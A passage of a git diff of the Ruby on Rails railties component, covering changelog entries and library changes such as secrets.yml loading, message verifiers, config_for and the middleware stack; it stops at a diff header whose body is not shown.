+*   Remove deprecated `RAILS_CACHE` constant.
 
-*   Rename `commands/plugin_new.rb` to `commands/plugin.rb` and fix references
+    *Rafael Mendonça França*
 
-    *Richard Schneeman*
+*   Remove deprecated `serve_static_assets` configuration.
 
-*   Fix `rails plugin --help` command.
+    *Rafael Mendonça França*
 
-    *Richard Schneeman*
+*   Use local variables in `_form.html.erb` partial generated by scaffold.
 
-*   Omit turbolinks configuration completely on skip_javascript generator option.
+    *Andrew Kozlov*
 
-    *Nikita Fedyashev*
+*   Add `config/initializers/callback_terminator.rb`
 
-*   Removed deprecated rake tasks for running tests: `rake test:uncommitted` and
-    `rake test:recent`.
+    Newly generated Rails apps have a new initializer called
+    `callback_terminator.rb` which sets the value of the configuration option
+    `config.active_support.halt_callback_chains_on_return_false` to `false`.
 
-    *John Wang*
+    As a result, new Rails apps do not halt callback chains when a callback
+    returns `false`; only when they are explicitly halted with `throw(:abort)`.
 
-*   Clearing autoloaded constants triggers routes reloading.
-    Fixes #10685.
+    The terminator is *not* added when running `rake rails:update`, so returning
+    `false` will still work on old apps ported to Rails 5, displaying a
+    deprecation warning to prompt users to update their code to the new syntax.
 
-    *Xavier Noria*
+    *claudiob*
 
-*   Fixes bug with scaffold generator with `--assets=false --resource-route=false`.
-    Fixes #9525.
+*   Generated fixtures won't use the id when generated with references attributes.
 
-    *Arun Agrawal*
+    *Pablo Olmos de Aguilera Corradini*
 
-*   Rails::Railtie no longer forces the Rails::Configurable module on everything
-    that subclasses it. Instead, the methods from Rails::Configurable have been
-    moved to class methods in Railtie and the Railtie has been made abstract.
+*   Add `--skip-action-mailer` option to the app generator.
 
-    *John Wang*
+    *claudiob*
 
-*   Changes repetitive th tags to use colspan attribute in `index.html.erb` template.
+*   Autoload any second level directories called `app/*/concerns`.
 
-    *Sıtkı Bağdat*
+    *Alex Robbin*
 
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for previous changes.
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/railties/CHANGELOG.md) for previous changes.
diff --git a/railties/MIT-LICENSE b/railties/MIT-LICENSE
index 0d7fb865e2..7c2197229d 100644
--- a/railties/MIT-LICENSE
+++ b/railties/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2015 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/railties/RDOC_MAIN.rdoc b/railties/RDOC_MAIN.rdoc
index eccdee7b07..8d847eaa1c 100644
--- a/railties/RDOC_MAIN.rdoc
+++ b/railties/RDOC_MAIN.rdoc
@@ -1,7 +1,7 @@
 == Welcome to \Rails
 
 \Rails is a web-application framework that includes everything needed to create
-database-backed web applications according to the {Model-View-Controller (MVC)}[http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller] pattern.
+database-backed web applications according to the {Model-View-Controller (MVC)}[http://en.wikipedia.org/wiki/Model-view-controller] pattern.
 
 Understanding the MVC pattern is key to understanding \Rails. MVC divides your application
 into three layers, each with a specific responsibility.
diff --git a/railties/README.rdoc b/railties/README.rdoc
index 6248b5feed..a25658668c 100644
--- a/railties/README.rdoc
+++ b/railties/README.rdoc
@@ -31,7 +31,11 @@ API documentation is at
 
 * http://api.rubyonrails.org
 
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on Rails project here:
 
 * https://github.com/rails/rails/issues
 
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/railties/Rakefile b/railties/Rakefile
index a899d069b5..9a377ce4ee 100644
--- a/railties/Rakefile
+++ b/railties/Rakefile
@@ -29,6 +29,7 @@ Rake::TestTask.new('test:regular') do |t|
   t.pattern = 'test/**/*_test.rb'
   t.warning = true
   t.verbose = true
+  t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
 end
 
 # Generate GEM ----------------------------------------------------------------------------
diff --git a/railties/bin/rails b/railties/bin/rails
index b3026e8a93..82c17cabce 100755
--- a/railties/bin/rails
+++ b/railties/bin/rails
@@ -1,8 +1,8 @@
 #!/usr/bin/env ruby
 
-git_path = File.join(File.expand_path('../../..', __FILE__), '.git')
+git_path = File.expand_path('../../../.git', __FILE__)
 
-if File.exists?(git_path)
+if File.exist?(git_path)
   railties_path = File.expand_path('../../lib', __FILE__)
   $:.unshift(railties_path)
 end
diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb
index ea82327365..b1f7c29b5a 100644
--- a/railties/lib/rails.rb
+++ b/railties/lib/rails.rb
@@ -14,7 +14,7 @@ require 'rails/version'
 require 'active_support/railtie'
 require 'action_dispatch/railtie'
 
-# For Ruby 1.9, UTF-8 is the default internal and external encoding.
+# UTF-8 is the default internal and external encoding.
 silence_warnings do
   Encoding.default_external = Encoding::UTF_8
   Encoding.default_internal = Encoding::UTF_8
@@ -25,10 +25,17 @@ module Rails
 
   autoload :Info
   autoload :InfoController
+  autoload :MailersController
   autoload :WelcomeController
 
   class << self
-    attr_accessor :application, :cache, :logger
+    @application = @app_class = nil
+
+    attr_writer :application
+    attr_accessor :app_class, :cache, :logger
+    def application
+      @application ||= (app_class.instance if app_class)
+    end
 
     delegate :initialize!, :initialized?, to: :application
 
@@ -49,10 +56,18 @@ module Rails
       application && application.config.root
     end
 
+    # Returns the current Rails environment.
+    #
+    #   Rails.env # => "development"
+    #   Rails.env.development? # => true
+    #   Rails.env.production? # => false
     def env
       @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development")
     end
 
+    # Sets the Rails environment.
+    #
+    #   Rails.env = "staging" # => "staging"
     def env=(environment)
       @_env = ActiveSupport::StringInquirer.new(environment)
     end
@@ -79,10 +94,6 @@ module Rails
       groups
     end
 
-    def version
-      VERSION::STRING
-    end
-
     def public_path
       application && Pathname.new(application.paths["public"].first)
     end
diff --git a/railties/lib/rails/all.rb b/railties/lib/rails/all.rb
index 2e83c0fe14..45361fca83 100644
--- a/railties/lib/rails/all.rb
+++ b/railties/lib/rails/all.rb
@@ -5,6 +5,7 @@ require "rails"
   action_controller
   action_view
   action_mailer
+  active_job
   rails/test_unit
   sprockets
 ).each do |framework|
diff --git a/railties/lib/rails/api/task.rb b/railties/lib/rails/api/task.rb
index 1f9568fb5f..a082932632 100644
--- a/railties/lib/rails/api/task.rb
+++ b/railties/lib/rails/api/task.rb
@@ -16,8 +16,7 @@ module Rails
           :include => %w(
             README.rdoc
             lib/active_record/**/*.rb
-          ),
-          :exclude => 'lib/active_record/vendor/*'
+          )
         },
 
         'activemodel' => {
@@ -33,23 +32,29 @@ module Rails
             lib/abstract_controller/**/*.rb
             lib/action_controller/**/*.rb
             lib/action_dispatch/**/*.rb
-          ),
-          :exclude => 'lib/action_controller/vendor/*'
+          )
         },
 
         'actionview' => {
           :include => %w(
             README.rdoc
             lib/action_view/**/*.rb
-          )
+          ),
+          :exclude => 'lib/action_view/vendor/*'
         },
 
         'actionmailer' => {
           :include => %w(
             README.rdoc
             lib/action_mailer/**/*.rb
-          ),
-          :exclude => 'lib/action_mailer/vendor/*'
+          )
+        },
+
+        'activejob' => {
+          :include => %w(
+            README.md
+            lib/active_job/**/*.rb
+          )
         },
 
         'railties' => {
@@ -147,19 +152,5 @@ module Rails
         File.read('RAILS_VERSION').strip
       end
     end
-
-    class AppTask < Task
-      def component_root_dir(gem_name)
-        $:.grep(%r{#{gem_name}[\w.-]*/lib\z}).first[0..-5]
-      end
-
-      def api_dir
-        'doc/api'
-      end
-
-      def rails_version
-        Rails::VERSION::STRING
-      end
-    end
   end
 end
diff --git a/railties/lib/rails/app_rails_loader.rb b/railties/lib/rails/app_rails_loader.rb
index 4a17803f1c..39d8007333 100644
--- a/railties/lib/rails/app_rails_loader.rb
+++ b/railties/lib/rails/app_rails_loader.rb
@@ -2,7 +2,9 @@ require 'pathname'
 
 module Rails
   module AppRailsLoader
-    RUBY = File.join(*RbConfig::CONFIG.values_at("bindir", "ruby_install_name")) + RbConfig::CONFIG["EXEEXT"]
+    extend self
+
+    RUBY = Gem.ruby
     EXECUTABLES = ['bin/rails', 'script/rails']
     BUNDLER_WARNING = <<EOS
 Looks like your app's ./bin/rails is a stub that was generated by Bundler.
@@ -26,7 +28,7 @@ generate it and add it to source control:
 
 EOS
 
-    def self.exec_app_rails
+    def exec_app_rails
       original_cwd = Dir.pwd
 
       loop do
@@ -49,13 +51,13 @@ EOS
         # call to generate a new application, so restore the original cwd.
         Dir.chdir(original_cwd) and return if Pathname.new(Dir.pwd).root?
 
-        # Otherwise keep moving upwards in search of a executable.
+        # Otherwise keep moving upwards in search of an executable.
         Dir.chdir('..')
       end
     end
 
-    def self.find_executable
-      EXECUTABLES.find { |exe| File.exists?(exe) }
+    def find_executable
+      EXECUTABLES.find { |exe| File.file?(exe) }
     end
   end
 end
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
index 4faaf5ef1e..b11815e013 100644
--- a/railties/lib/rails/application.rb
+++ b/railties/lib/rails/application.rb
@@ -1,6 +1,8 @@
 require 'fileutils'
+require 'active_support/core_ext/hash/keys'
 require 'active_support/core_ext/object/blank'
 require 'active_support/key_generator'
+require 'active_support/message_verifier'
 require 'rails/engine'
 
 module Rails
@@ -85,7 +87,20 @@ module Rails
     class << self
       def inherited(base)
         super
-        Rails.application ||= base.instance
+        Rails.app_class = base
+        add_lib_to_load_path!(find_root(base.called_from))
+      end
+
+      def instance
+        super.run_load_hooks!
+      end
+
+      def create(initial_variable_values = {}, &block)
+        new(initial_variable_values, &block).run_load_hooks!
+      end
+
+      def find_root(from)
+        find_root_with_flag "config.ru", from, Dir.pwd
       end
 
       # Makes the +new+ method public.
@@ -103,32 +118,42 @@ module Rails
     delegate :default_url_options, :default_url_options=, to: :routes
 
     INITIAL_VARIABLES = [:config, :railties, :routes_reloader, :reloaders,
-                         :routes, :helpers, :app_env_config] # :nodoc:
+                         :routes, :helpers, :app_env_config, :secrets] # :nodoc:
 
     def initialize(initial_variable_values = {}, &block)
       super()
-      @initialized      = false
-      @reloaders        = []
-      @routes_reloader  = nil
-      @app_env_config   = nil
-      @ordered_railties = nil
-      @railties         = nil
-
-      add_lib_to_load_path!
+      @initialized       = false
+      @reloaders         = []
+      @routes_reloader   = nil
+      @app_env_config    = nil
+      @ordered_railties  = nil
+      @railties          = nil
+      @message_verifiers = {}
+      @ran_load_hooks    = false
+
+      # are these actually used?
+      @initial_variable_values = initial_variable_values
+      @block = block
+    end
+
+    # Returns true if the application is initialized.
+    def initialized?
+      @initialized
+    end
+
+    def run_load_hooks! # :nodoc:
+      return self if @ran_load_hooks
+      @ran_load_hooks = true
       ActiveSupport.run_load_hooks(:before_configuration, self)
 
-      initial_variable_values.each do |variable_name, value|
+      @initial_variable_values.each do |variable_name, value|
         if INITIAL_VARIABLES.include?(variable_name)
           instance_variable_set("@#{variable_name}", value)
         end
       end
 
-      instance_eval(&block) if block_given?
-    end
-
-    # Returns true if the application is initialized.
-    def initialized?
-      @initialized
+      instance_eval(&@block) if @block
+      self
     end
 
     # Implements call according to the Rack API. It simply
@@ -148,14 +173,70 @@ module Rails
     def key_generator
       # number of iterations selected based on consultation with the google security
       # team. Details at https://github.com/rails/rails/pull/6952#issuecomment-7661220
-      @caching_key_generator ||= begin
-        if config.secret_key_base
-          key_generator = ActiveSupport::KeyGenerator.new(config.secret_key_base, iterations: 1000)
+      @caching_key_generator ||=
+        if secrets.secret_key_base
+          key_generator = ActiveSupport::KeyGenerator.new(secrets.secret_key_base, iterations: 1000)
           ActiveSupport::CachingKeyGenerator.new(key_generator)
         else
-          ActiveSupport::LegacyKeyGenerator.new(config.secret_token)
+          ActiveSupport::LegacyKeyGenerator.new(secrets.secret_token)
         end
+    end
+
+    # Returns a message verifier object.
+    #
+    # This verifier can be used to generate and verify signed messages in the application.
+    #
+    # It is recommended not to use the same verifier for different things, so you can get different
+    # verifiers passing the +verifier_name+ argument.
+    #
+    # ==== Parameters
+    #
+    # * +verifier_name+ - the name of the message verifier.
+    #
+    # ==== Examples
+    #
+    #     message = Rails.application.message_verifier('sensitive_data').generate('my sensible data')
+    #     Rails.application.message_verifier('sensitive_data').verify(message)
+    #     # => 'my sensible data'
+    #
+    # See the +ActiveSupport::MessageVerifier+ documentation for more information.
+    def message_verifier(verifier_name)
+      @message_verifiers[verifier_name] ||= begin
+        secret = key_generator.generate_key(verifier_name.to_s)
+        ActiveSupport::MessageVerifier.new(secret)
+      end
+    end
+
+    # Convenience for loading config/foo.yml for the current Rails env.
+    #
+    # Example:
+    #
+    #     # config/exception_notification.yml:
+    #     production:
+    #       url: http://127.0.0.1:8080
+    #       namespace: my_app_production
+    #     development:
+    #       url: http://localhost:3001
+    #       namespace: my_app_development
+    #
+    #     # config/production.rb
+    #     Rails.application.configure do
+    #       config.middleware.use ExceptionNotifier, config_for(:exception_notification)
+    #     end
+    def config_for(name)
+      yaml = Pathname.new("#{paths["config"].existent.first}/#{name}.yml")
+
+      if yaml.exist?
+        require "yaml"
+        require "erb"
+        (YAML.load(ERB.new(yaml.read).result) || {})[Rails.env] || {}
+      else
+        raise "Could not load configuration. No such file - #{yaml}"
       end
+    rescue Psych::SyntaxError => e
+      raise "YAML syntax error occurred while parsing #{yaml}. " \
+        "Please note that YAML must be consistently indented using spaces. Tabs are not allowed. " \
+        "Error: #{e.message}"
     end
 
     # Stores some of the Rails initial environment parameters which
@@ -167,8 +248,8 @@ module Rails
         super.merge({
           "action_dispatch.parameter_filter" => config.filter_parameters,
           "action_dispatch.redirect_filter" => config.filter_redirect,
-          "action_dispatch.secret_token" => config.secret_token,
-          "action_dispatch.secret_key_base" => config.secret_key_base,
+          "action_dispatch.secret_token" => secrets.secret_token,
+          "action_dispatch.secret_key_base" => secrets.secret_key_base,
           "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions,
           "action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local,
           "action_dispatch.logger" => Rails.logger,
@@ -177,7 +258,9 @@ module Rails
           "action_dispatch.http_auth_salt" => config.action_dispatch.http_auth_salt,
           "action_dispatch.signed_cookie_salt" => config.action_dispatch.signed_cookie_salt,
           "action_dispatch.encrypted_cookie_salt" => config.action_dispatch.encrypted_cookie_salt,
-          "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt
+          "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt,
+          "action_dispatch.cookies_serializer" => config.action_dispatch.cookies_serializer,
+          "action_dispatch.cookies_digest" => config.action_dispatch.cookies_digest
         })
       end
     end
@@ -201,6 +284,18 @@ module Rails
       self.class.runner(&blk)
     end
 
+    # Sends any console called in the instance of a new application up
+    # to the +console+ method defined in Rails::Railtie.
+    def console(&blk)
+      self.class.console(&blk)
+    end
+
+    # Sends any generators called in the instance of a new application up
+    # to the +generators+ method defined in Rails::Railtie.
+    def generators(&blk)
+      self.class.generators(&blk)
+    end
+
     # Sends the +isolate_namespace+ method up to the class method.
     def isolate_namespace(mod)
       self.class.isolate_namespace(mod)
@@ -221,9 +316,9 @@ module Rails
     # are changing config.root inside your application definition or having a custom
     # Rails application, you will need to add lib to $LOAD_PATH on your own in case
     # you need to load files in lib/ during the application configuration as well.
-    def add_lib_to_load_path! #:nodoc:
-      path = File.join config.root, 'lib'
-      if File.exists?(path) && !$LOAD_PATH.include?(path)
+    def self.add_lib_to_load_path!(root) #:nodoc:
+      path = File.join root, 'lib'
+      if File.exist?(path) && !$LOAD_PATH.include?(path)
         $LOAD_PATH.unshift(path)
       end
     end
@@ -266,13 +361,51 @@ module Rails
     end
 
     def config #:nodoc:
-      @config ||= Application::Configuration.new(find_root_with_flag("config.ru", Dir.pwd))
+      @config ||= Application::Configuration.new(self.class.find_root(self.class.called_from))
     end
 
     def config=(configuration) #:nodoc:
       @config = configuration
     end
 
+    # Returns secrets added to config/secrets.yml.
+    #
+    # Example:
+    #
+    #     development:
+    #       secret_key_base: 836fa3665997a860728bcb9e9a1e704d427cfc920e79d847d79c8a9a907b9e965defa4154b2b86bdec6930adbe33f21364523a6f6ce363865724549fdfc08553
+    #     test:
+    #       secret_key_base: 5a37811464e7d378488b0f073e2193b093682e4e21f5d6f3ae0a4e1781e61a351fdc878a843424e81c73fb484a40d23f92c8dafac4870e74ede6e5e174423010
+    #     production:
+    #       secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+    #       namespace: my_app_production
+    #
+    # +Rails.application.secrets.namespace+ returns +my_app_production+ in the
+    # production environment.
+    def secrets
+      @secrets ||= begin
+        secrets = ActiveSupport::OrderedOptions.new
+        yaml = config.paths["config/secrets"].first
+        if File.exist?(yaml)
+          require "erb"
+          all_secrets = YAML.load(ERB.new(IO.read(yaml)).result) || {}
+          env_secrets = all_secrets[Rails.env]
+          secrets.merge!(env_secrets.symbolize_keys) if env_secrets
+        end
+
+        # Fallback to config.secret_key_base if secrets.secret_key_base isn't set
+        secrets.secret_key_base ||= config.secret_key_base
+        # Fallback to config.secret_token if secrets.secret_token isn't set
+        secrets.secret_token ||= config.secret_token
+
+        secrets
+      end
+    end
+
+    def secrets=(secrets) #:nodoc:
+      @secrets = secrets
+    end
+
     def to_app #:nodoc:
       self
     end
@@ -281,6 +414,26 @@ module Rails
       config.helpers_paths
     end
 
+    console do
+      require "pp"
+    end
+
+    console do
+      unless ::Kernel.private_method_defined?(:y)
+        require "psych/y"
+      end
+    end
+
+    # Return an array of railties respecting the order they're loaded
+    # and the order specified by the +railties_order+ config.
+    #
+    # While when running initializers we need engines in reverse
+    # order here when copying migrations from railties we need them in the same
+    # order as given by +railties_order+.
+    def migration_railties # :nodoc:
+      ordered_railties.flatten - [self]
+    end
+
   protected
 
     alias :build_middleware_stack :app
@@ -330,13 +483,13 @@ module Rails
 
         index = order.index(:all)
         order[index] = all
-        order.reverse.flatten
+        order
       end
     end
 
     def railties_initializers(current) #:nodoc:
       initializers = []
-      ordered_railties.each do |r|
+      ordered_railties.reverse.flatten.each do |r|
         if r == self
           initializers += current
         else
@@ -364,8 +517,13 @@ module Rails
     end
 
     def validate_secret_key_config! #:nodoc:
-      if config.secret_key_base.blank? && config.secret_token.blank?
-        raise "You must set config.secret_key_base in your app's config."
+      if secrets.secret_key_base.blank?
+        ActiveSupport::Deprecation.warn "You didn't set `secret_key_base`. " +
+          "Read the upgrade documentation to learn more about this new config option."
+
+        if secrets.secret_token.blank?
+          raise "Missing `secret_token` and `secret_key_base` for '#{Rails.env}' environment, set these values in `config/secrets.yml`"
+        end
       end
     end
   end
diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb
index a26d41c0cf..0f4d932749 100644
--- a/railties/lib/rails/application/bootstrap.rb
+++ b/railties/lib/rails/application/bootstrap.rb
@@ -47,7 +47,8 @@ INFO
           logger = ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDERR))
           logger.level = ActiveSupport::Logger::WARN
           logger.warn(
-            "Rails Error: Unable to access log file. Please ensure that #{path} exists and is chmod 0666. " +
+            "Rails Error: Unable to access log file. Please ensure that #{path} exists and is writable " +
+            "(ie, make it writable for user and group: chmod 0664 #{path}). " +
             "The log level has been raised to WARN and the output directed to STDERR until the problem is fixed."
           )
           logger
diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb
index 7332444ab9..dc3ec4274b 100644
--- a/railties/lib/rails/application/configuration.rb
+++ b/railties/lib/rails/application/configuration.rb
@@ -1,18 +1,19 @@
 require 'active_support/core_ext/kernel/reporting'
 require 'active_support/file_update_checker'
 require 'rails/engine/configuration'
+require 'rails/source_annotation_extractor'
 
 module Rails
   class Application
     class Configuration < ::Rails::Engine::Configuration
-      attr_accessor :allow_concurrency, :asset_host, :assets, :autoflush_log,
+      attr_accessor :allow_concurrency, :asset_host, :autoflush_log,
                     :cache_classes, :cache_store, :consider_all_requests_local, :console,
                     :eager_load, :exceptions_app, :file_watcher, :filter_parameters,
                     :force_ssl, :helpers_paths, :logger, :log_formatter, :log_tags,
                     :railties_order, :relative_url_root, :secret_key_base, :secret_token,
-                    :serve_static_assets, :ssl_options, :static_cache_control, :session_options,
+                    :serve_static_files, :ssl_options, :static_cache_control, :session_options,
                     :time_zone, :reload_classes_only_on_change,
-                    :beginning_of_week, :filter_redirect
+                    :beginning_of_week, :filter_redirect, :x
 
       attr_writer :log_level
       attr_reader :encoding
@@ -25,7 +26,7 @@ module Rails
         @filter_parameters             = []
         @filter_redirect               = []
         @helpers_paths                 = []
-        @serve_static_assets           = true
+        @serve_static_files            = true
         @static_cache_control          = nil
         @force_ssl                     = false
         @ssl_options                   = {}
@@ -47,21 +48,7 @@ module Rails
         @eager_load                    = nil
         @secret_token                  = nil
         @secret_key_base               = nil
-
-        @assets = ActiveSupport::OrderedOptions.new
-        @assets.enabled                  = true
-        @assets.paths                    = []
-        @assets.precompile               = [ Proc.new { |path, fn| fn =~ /app\/assets/ && !%w(.js .css).include?(File.extname(path)) },
-                                             /(?:\/|\\|\A)application\.(css|js)$/ ]
-        @assets.prefix                   = "/assets"
-        @assets.version                  = '1.0'
-        @assets.debug                    = false
-        @assets.compile                  = true
-        @assets.digest                   = false
-        @assets.cache_store              = [ :file_store, "#{root}/tmp/cache/assets/#{Rails.env}/" ]
-        @assets.js_compressor            = nil
-        @assets.css_compressor           = nil
-        @assets.logger                   = nil
+        @x                             = Custom.new
       end
 
       def encoding=(value)
@@ -76,6 +63,7 @@ module Rails
         @paths ||= begin
           paths = super
           paths.add "config/database",    with: "config/database.yml"
+          paths.add "config/secrets",     with: "config/secrets.yml"
           paths.add "config/environment", with: "config/environment.rb"
           paths.add "lib/templates"
           paths.add "log",                with: "log/#{Rails.env}.log"
@@ -87,25 +75,35 @@ module Rails
         end
       end
 
-      # Loads and returns the configuration of the database.
+      # Loads and returns the entire raw configuration of database from
+      # values stored in `config/database.yml`.
       def database_configuration
-        yaml = paths["config/database"].first
-        if File.exists?(yaml)
+        path = paths["config/database"].existent.first
+        yaml = Pathname.new(path) if path
+
+        config = if yaml && yaml.exist?
+          require "yaml"
           require "erb"
-          YAML.load ERB.new(IO.read(yaml)).result
+          YAML.load(ERB.new(yaml.read).result) || {}
         elsif ENV['DATABASE_URL']
-          nil
+          # Value from ENV['DATABASE_URL'] is set to default database connection
+          # by Active Record.
+          {}
         else
-          raise "Could not load database configuration. No such file - #{yaml}"
+          raise "Could not load database configuration. No such file - #{paths["config/database"].instance_variable_get(:@paths)}"
         end
+
+        config
       rescue Psych::SyntaxError => e
         raise "YAML syntax error occurred while parsing #{paths["config/database"].first}. " \
               "Please note that YAML must be consistently indented using spaces. Tabs are not allowed. " \
               "Error: #{e.message}"
+      rescue => e
+        raise e, "Cannot load `Rails.application.database_configuration`:\n#{e.message}", e.backtrace
       end
 
       def log_level
-        @log_level ||= Rails.env.production? ? :info : :debug
+        @log_level ||= (Rails.env.production? ? :info : :debug)
       end
 
       def colorize_logging
@@ -140,6 +138,26 @@ module Rails
         end
       end
 
+      def annotations
+        SourceAnnotationExtractor::Annotation
+      end
+
+      private
+        class Custom #:nodoc:
+          def initialize
+            @configurations = Hash.new
+          end
+
+          def method_missing(method, *args)
+            if method =~ /=$/
+              @configurations[$`.to_sym] = args.first
+            else
+              @configurations.fetch(method) {
+                @configurations[method] = ActiveSupport::OrderedOptions.new
+              }
+            end
+          end
+        end
     end
   end
 end
diff --git a/railties/lib/rails/application/default_middleware_stack.rb b/railties/lib/rails/application/default_middleware_stack.rb
index 570ff02c83..02eea82b0c 100644
--- a/railties/lib/rails/application/default_middleware_stack.rb
+++ b/railties/lib/rails/application/default_middleware_stack.rb
@@ -11,21 +11,21 @@ module Rails
 
       def build_stack
         ActionDispatch::MiddlewareStack.new.tap do |middleware|
-          if rack_cache = load_rack_cache
-            require "action_dispatch/http/rack_cache"
-            middleware.use ::Rack::Cache, rack_cache
-          end
-
           if config.force_ssl
             middleware.use ::ActionDispatch::SSL, config.ssl_options
           end
 
           middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
 
-          if config.serve_static_assets
+          if config.serve_static_files
             middleware.use ::ActionDispatch::Static, paths["public"].first, config.static_cache_control
           end
 
+          if rack_cache = load_rack_cache
+            require "action_dispatch/http/rack_cache"
+            middleware.use ::Rack::Cache, rack_cache
+          end
+
           middleware.use ::Rack::Lock unless allow_concurrency?
           middleware.use ::Rack::Runtime
           middleware.use ::Rack::MethodOverride
@@ -66,7 +66,11 @@ module Rails
         end
 
         def allow_concurrency?
-          config.allow_concurrency.nil? ? config.cache_classes : config.allow_concurrency
+          if config.allow_concurrency.nil?
+            config.cache_classes && config.eager_load
+          else
+            config.allow_concurrency
+          end
         end
 
         def load_rack_cache
diff --git a/railties/lib/rails/application/routes_reloader.rb b/railties/lib/rails/application/routes_reloader.rb
index 737977adf9..cf0a4e128f 100644
--- a/railties/lib/rails/application/routes_reloader.rb
+++ b/railties/lib/rails/application/routes_reloader.rb
@@ -41,9 +41,7 @@ module Rails
       end
 
       def finalize!
-        route_sets.each do |routes|
-          routes.finalize!
-        end
+        route_sets.each(&:finalize!)
       end
 
       def revert
diff --git a/railties/lib/rails/application_controller.rb b/railties/lib/rails/application_controller.rb
new file mode 100644
index 0000000000..9a29ec21cf
--- /dev/null
+++ b/railties/lib/rails/application_controller.rb
@@ -0,0 +1,16 @@
+class Rails::ApplicationController < ActionController::Base # :nodoc:
+  self.view_paths = File.expand_path('../templates', __FILE__)
+  layout 'application'
+
+  protected
+
+  def require_local!
+    unless local_request?
+      render text: '<p>For security purposes, this information is only available to local requests.</p>', status: :forbidden
+    end
+  end
+
+  def local_request?
+    Rails.application.config.consider_all_requests_local || request.local?
+  end
+end
diff --git a/railties/lib/rails/backtrace_cleaner.rb b/railties/lib/rails/backtrace_cleaner.rb
index 8cc8eb1103..5276eb33c9 100644
--- a/railties/lib/rails/backtrace_cleaner.rb
+++ b/railties/lib/rails/backtrace_cleaner.rb
@@ -4,12 +4,16 @@ module Rails
   class BacktraceCleaner < ActiveSupport::BacktraceCleaner
     APP_DIRS_PATTERN = /^\/?(app|config|lib|test)/
     RENDER_TEMPLATE_PATTERN = /:in `_render_template_\w*'/
+    EMPTY_STRING = ''.freeze
+    SLASH        = '/'.freeze
+    DOT_SLASH    = './'.freeze
 
     def initialize
       super
-      add_filter   { |line| line.sub("#{Rails.root}/", '') }
-      add_filter   { |line| line.sub(RENDER_TEMPLATE_PATTERN, '') }
-      add_filter   { |line| line.sub('./', '/') } # for tests
+      @root = "#{Rails.root}/".freeze
+      add_filter { |line| line.sub(@root, EMPTY_STRING) }
+      add_filter { |line| line.sub(RENDER_TEMPLATE_PATTERN, EMPTY_STRING) }
+      add_filter { |line| line.sub(DOT_SLASH, SLASH) } # for tests
 
       add_gem_filters
       add_silencer { |line| line !~ APP_DIRS_PATTERN }
@@ -21,7 +25,8 @@ module Rails
         return if gems_paths.empty?
 
         gems_regexp = %r{(#{gems_paths.join('|')})/gems/([^/]+)-([\w.]+)/(.*)}
-        add_filter { |line| line.sub(gems_regexp, '\2 (\3) \4') }
+        gems_result = '\2 (\3) \4'.freeze
+        add_filter { |line| line.sub(gems_regexp, gems_result) }
       end
   end
 end
diff --git a/railties/lib/rails/cli.rb b/railties/lib/rails/cli.rb
index 20313a2608..dd70c272c6 100644
--- a/railties/lib/rails/cli.rb
+++ b/railties/lib/rails/cli.rb
@@ -1,4 +1,3 @@
-require 'rbconfig'
 require 'rails/app_rails_loader'
 
 # If we are inside a Rails application this method performs an exec and thus
diff --git a/railties/lib/rails/code_statistics.rb b/railties/lib/rails/code_statistics.rb
index 0ae6d2a455..0bdf63943f 100644
--- a/railties/lib/rails/code_statistics.rb
+++ b/railties/lib/rails/code_statistics.rb
@@ -6,9 +6,8 @@ class CodeStatistics #:nodoc:
                 'Helper tests',
                 'Model tests',
                 'Mailer tests',
-                'Integration tests',
-                'Functional tests (old)',
-                'Unit tests (old)']
+                'Job tests',
+                'Integration tests']
 
   def initialize(*pairs)
     @pairs      = pairs
diff --git a/railties/lib/rails/code_statistics_calculator.rb b/railties/lib/rails/code_statistics_calculator.rb
index 60e4aef9b7..a142236dbe 100644
--- a/railties/lib/rails/code_statistics_calculator.rb
+++ b/railties/lib/rails/code_statistics_calculator.rb
@@ -24,6 +24,8 @@ class CodeStatisticsCalculator #:nodoc:
     }
   }
 
+  PATTERNS[:minitest] = PATTERNS[:rb].merge method: /^\s*(def|test)\s+['"_a-z]/
+
   def initialize(lines = 0, code_lines = 0, classes = 0, methods = 0)
     @lines = lines
     @code_lines = code_lines
@@ -74,6 +76,10 @@ class CodeStatisticsCalculator #:nodoc:
 
   private
     def file_type(file_path)
-      File.extname(file_path).sub(/\A\./, '').downcase.to_sym
+      if file_path.end_with? '_test.rb'
+        :minitest
+      else
+        File.extname(file_path).sub(/\A\./, '').downcase.to_sym
+      end
     end
 end
diff --git a/railties/lib/rails/commands/application.rb b/railties/lib/rails/commands/application.rb
index 678697f09b..c998e6b6a8 100644
--- a/railties/lib/rails/commands/application.rb
+++ b/railties/lib/rails/commands/application.rb
@@ -13,5 +13,5 @@ module Rails
   end
 end
 
-Rails::Generators::AppPreparer.new(ARGV).prepare!
-Rails::Generators::AppGenerator.start
+args = Rails::Generators::ARGVScrubber.new(ARGV).prepare!
+Rails::Generators::AppGenerator.start args
diff --git a/railties/lib/rails/commands/commands_tasks.rb b/railties/lib/rails/commands/commands_tasks.rb
index 11524c4ef5..8bae08e44e 100644
--- a/railties/lib/rails/commands/commands_tasks.rb
